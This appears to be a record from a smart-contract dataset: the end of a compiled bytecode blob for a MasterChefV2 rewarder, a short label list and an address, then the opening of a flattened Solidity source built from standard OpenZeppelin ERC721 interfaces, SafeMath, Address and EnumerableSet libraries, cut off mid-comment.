0ecd565b34801561028157600080fd5b50610295610290366004611460565b610ed3565b60405161015e93929190611920565b3480156102b057600080fd5b506101fe610eff565b3480156102c557600080fd5b506102ce610f0e565b60405161015e9190611617565b3480156102e757600080fd5b5061012e6102f63660046112fc565b610f53565b34801561030757600080fd5b5061031b6103163660046114e0565b610fdb565b60405161015e9291906115b7565b34801561033557600080fd5b506101fe611086565b34801561034a57600080fd5b506101fe611095565b6000546001600160a01b031633146103865760405162461bcd60e51b815260040161037d9061176e565b60405180910390fd5b8115610421576001600160a01b0383161515806103a05750805b6103bc5760405162461bcd60e51b815260040161037d906116d1565b600080546040516001600160a01b03808716939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0385166001600160a01b03199182161790915560018054909116905561043d565b600180546001600160a01b0319166001600160a01b0385161790555b505050565b6003602052600090815260409020546001600160801b03811690600160801b900467ffffffffffffffff1682565b600061047a61129b565b5060008381526003602090815260408083208151808301835290546001600160801b038082168352600160801b90910467ffffffffffffffff168285015287855260048085528386206001600160a01b0389811688529552838620835194516378ed5d1f60e01b815293969095949092169391927f000000000000000000000000ef0881ec094552b2e128cf945ef17a6752b4ec5d909216916378ed5d1f91610525918b9101611917565b60206040518083038186803b15801561053d57600080fd5b505afa158015610551573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061057591906113c2565b6001600160a01b03166370a082317f000000000000000000000000ef0881ec094552b2e128cf945ef17a6752b4ec5d6040518263ffffffff1660e01b81526004016105c0919061158a565b60206040518083038186803b1580156105d857600080fd5b505afa1580156105ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106109190611448565b9050836020015167ffffffffffffffff164211801561062e57508015155b15610699576000610656856020015167ffffffffffffffff16426110a490919063ffffffff16565b9050600061066f600554836110cd90919063ffffffff16565b9050610694836106848364e8d4a510006110cd565b8161068b57fe5b86919004611104565b935050505b6106da83600201546106d4856001015464e8d4a510006106c68789600001546110cd90919063ffffffff16565b816106cd57fe5b04906110a4565b90611104565b979650505050505050565b6002546001600160a01b03161561070e5760405162461bcd60e51b815260040161037d90611866565b61071a818301836113de565b600680546001600160a01b03199081166001600160a01b0393841617909155600592909255600080548316938216939093179092556002805490911692821692909217918290551661077e5760405162461bcd60e51b815260040161037d9061189d565b60016007556006546002546000546005546040516001600160a01b0394851694938416937f4df6005d9c1e62d1d95592850d1c3256ee902631dd819a342f1756ab83489439936107d09391169161159e565b60405180910390a35050565b6001546001600160a01b03163381146108075760405162461bcd60e51b815260040161037d906117a3565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b039092166001600160a01b0319928316179055600180549091169055565b61087161129b565b506000818152600360209081526040918290208251808401909352546001600160801b0381168352600160801b900467ffffffffffffffff16908201819052421115610b28576040516378ed5d1f60e01b81526000906001600160a01b037f000000000000000000000000ef0881ec094552b2e128cf945ef17a6752b4ec5d16906378ed5d1f90610906908690600401611917565b60206040518083038186803b15801561091e57600080fd5b505afa158015610932573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095691906113c2565b6001600160a01b03166370a082317f000000000000000000000000ef0881ec094552b2e128cf945ef17a6752b4ec5d6040518263ffffffff1660e01b81526004016109a1919061158a565b60206040518083038186803b1580156109b957600080fd5b505afa1580156109cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f19190611448565b90508015610a79576000610a1c836020015167ffffffffffffffff16426110a490919063ffffffff16565b90506000610a35600554836110cd90919063ffffffff16565b9050610a6b610a5a84610a4d8464e8d4a510006110cd565b81610a5457fe5b04611127565b85516001600160801b031690611154565b6001600160801b0316845250505b610a8242611183565b67ffffffffffffffff9081166020848101918252600086815260039091526040908190208551815493516fffffffffffffffffffffffffffffffff199094166001600160801b0382161767ffffffffffffffff60801b1916600160801b958516959095029490941790555185927f0fc9545022a542541ad085d091fb09a2ab36fee366a4576ab63714ea907ad35392610b1e9290918691611936565b60405180910390a2505b919050565b7f000000000000000000000000ef0881ec094552b2e128cf945ef17a6752b4ec5d81565b6000546001600160a01b03163314610b7b5760405162461bcd60e51b815260040161037d9061176e565b60058190556040517fde89cb17ac7f58f94792b3e91e086ed85403819c24ceea882491f960ccb1a27890610bb0908390611917565b60405180910390a150565b336001600160a01b037f000000000000000000000000ef0881ec094552b2e128cf945ef17a6752b4ec5d1614610c035760405162461bcd60e51b815260040161037d90611690565b600754600114610c255760405162461bcd60e51b815260040161037d9061180f565b60026007556006546040516378ed5d1f60e01b81526001600160a01b03918216917f000000000000000000000000ef0881ec094552b2e128cf945ef17a6752b4ec5d16906378ed5d1f90610c7d908990600401611917565b60206040518083038186803b158015610c9557600080fd5b505afa158015610ca9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ccd91906113c2565b6001600160a01b031614610ce057600080fd5b610ce861129b565b610cf186610869565b60008781526004602090815260408083206001600160a01b038a168452909152812080549293509115610e2d57610d5882600201546106d4846001015464e8d4a510006106c688600001516001600160801b031688600001546110cd90919063ffffffff16565b6002546040516370a0823160e01b81529192506000916001600160a01b03909116906370a0823190610d8e90309060040161158a565b60206040518083038186803b158015610da657600080fd5b505afa158015610dba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dde9190611448565b905080821115610e0c57600254610dff906001600160a01b031688836111ad565b8082036002840155610e2b565b600254610e23906001600160a01b031688846111ad565b600060028401555b505b838255825164e8d4a5100090610e4d9086906001600160801b03166110cd565b81610e5457fe5b048260010181905550856001600160a01b031688886001600160a01b03167f2ece88ca2bc08dd018db50e1d25a20bf1241e5fab1c396caa51f01a54bd2f75b85600201548503604051610ea79190611917565b60405180910390a450506001600755505050505050565b6000546001600160a01b031681565b60055481565b600460209081526000928352604080842090915290825290208054600182015460029092015490919083565b6006546001600160a01b031681565b6040805160018082528183019092526060918291906020808301908036833701905050905060055481600081518110610f4357fe5b6020908102919091010152905090565b6000546001600160a01b03163314610f7d5760405162461bcd60e51b815260040161037d9061176e565b6001600160a01b038316610fc7576040516001600160a01b0382169083156108fc029084906000818181858888f19350505050158015610fc1573d6000803e3d6000fd5b5061043d565b61043d6001600160a01b03841682846111ad565b6040805160018082528183019092526060918291829160208083019080368337505060025482519293506001600160a01b03169183915060009061101b57fe5b6001600160a01b0392909216602092830291909101909101526040805160018082528183019092526060918160200160208202803683370190505090506110628787610470565b8160008151811061106f57fe5b602090810291909101015290969095509350505050565b6001546001600160a01b031681565b6002546001600160a01b031681565b808203828111156110c75760405162461bcd60e51b815260040161037d9061162a565b92915050565b60008115806110e8575050808202828282816110e557fe5b04145b6110c75760405162461bcd60e51b815260040161037d9061182f565b818101818110156110c75760405162461bcd60e51b815260040161037d90611737565b60006001600160801b038211156111505760405162461bcd60e51b815260040161037d90611700565b5090565b8181016001600160801b0380831690821610156110c75760405162461bcd60e51b815260040161037d90611737565b600067ffffffffffffffff8211156111505760405162461bcd60e51b815260040161037d906117d8565b60006060846001600160a01b031663a9059cbb85856040516024016111d392919061159e565b6040516020818303038152906040529060e01b6020820180516001600160e01b03838183161783525050505060405161120c9190611551565b6000604051808303816000865af19150503d8060008114611249576040519150601f19603f3d011682016040523d82523d6000602084013e61124e565b606091505b50915091508180156112785750805115806112785750808060200190518101906112789190611332565b6112945760405162461bcd60e51b815260040161037d90611659565b5050505050565b604080518082019091526000808252602082015290565b6000806000606084860312156112c6578283fd5b83356112d181611961565b925060208401356112e181611979565b915060408401356112f181611979565b809150509250925092565b600080600060608486031215611310578283fd5b833561131b81611961565b92506020840135915060408401356112f181611961565b600060208284031215611343578081fd5b815161134e81611979565b9392505050565b60008060208385031215611367578182fd5b823567ffffffffffffffff8082111561137e578384fd5b818501915085601f830112611391578384fd5b81358181111561139f578485fd5b8660208285010111156113b0578485fd5b60209290920196919550909350505050565b6000602082840312156113d3578081fd5b815161134e81611961565b600080600080608085870312156113f3578081fd5b84356113fe81611961565b9350602085013561140e81611961565b925060408501359150606085013561142581611961565b939692955090935050565b600060208284031215611441578081fd5b5035919050565b600060208284031215611459578081fd5b5051919050565b60008060408385031215611472578182fd5b82359150602083013561148481611961565b809150509250929050565b600080600080600060a086880312156114a6578081fd5b8535945060208601356114b881611961565b935060408601356114c881611961565b94979396509394606081013594506080013592915050565b6000806000606084860312156114f4578283fd5b83359250602084013561150681611961565b929592945050506040919091013590565b6000815180845260208085019450808401835b838110156115465781518752958201959082019060010161152a565b509495945050505050565b60008251815b818110156115715760208186018101518583015201611557565b8181111561157f5782828501525b509190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b604080825283519082018190526000906020906060840190828701845b828110156115f95781516001600160a01b0316845292840192908401906001016115d4565b5050508381038285015261160d8186611517565b9695505050505050565b60006020825261134e6020830184611517565b602080825260159082015274426f72696e674d6174683a20556e646572666c6f7760581b604082015260600190565b6020808252601c908201527f426f72696e6745524332303a205472616e73666572206661696c656400000000604082015260600190565b60208082526021908201527f4f6e6c79204d4356322063616e2063616c6c20746869732066756e6374696f6e6040820152601760f91b606082015260800190565b6020808252601590820152744f776e61626c653a207a65726f206164647265737360581b604082015260600190565b6020808252601c908201527f426f72696e674d6174683a2075696e74313238204f766572666c6f7700000000604082015260600190565b60208082526018908201527f426f72696e674d6174683a20416464204f766572666c6f770000000000000000604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c657220213d2070656e64696e67206f776e6572604082015260600190565b6020808252601b908201527f426f72696e674d6174683a2075696e743634204f766572666c6f770000000000604082015260600190565b6020808252600690820152651313d0d2d15160d21b604082015260600190565b60208082526018908201527f426f72696e674d6174683a204d756c204f766572666c6f770000000000000000604082015260600190565b6020808252601d908201527f52657761726465723a20616c726561647920696e697469616c697a6564000000604082015260600190565b6020808252601390820152722932bbb0b93232b91d103130b2103a37b5b2b760691b604082015260600190565b81516001600160801b0316815260209182015167ffffffffffffffff169181019190915260400190565b6001600160801b0392909216825267ffffffffffffffff16602082015260400190565b90815260200190565b9283526020830191909152604082015260600190565b67ffffffffffffffff93909316835260208301919091526001600160801b0316604082015260600190565b6001600160a01b038116811461197657600080fd5b50565b801515811461197657600080fdfea2646970667358221220b2d7c28f6b493cc7efc50eae67c3fec78f8c4493bab7aaea28f5c7fd364e1a9364736f6c634300060c0033
[ 7, 12 ]
0xF3138B866A8A4eBbAD99080602fCE22bF0103AB3
// File: @openzeppelin/contracts/GSN/Context.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/introspection/IERC165.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol pragma solidity >=0.6.2 <0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol pragma solidity >=0.6.2 <0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File: @openzeppelin/contracts/introspection/ERC165.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * 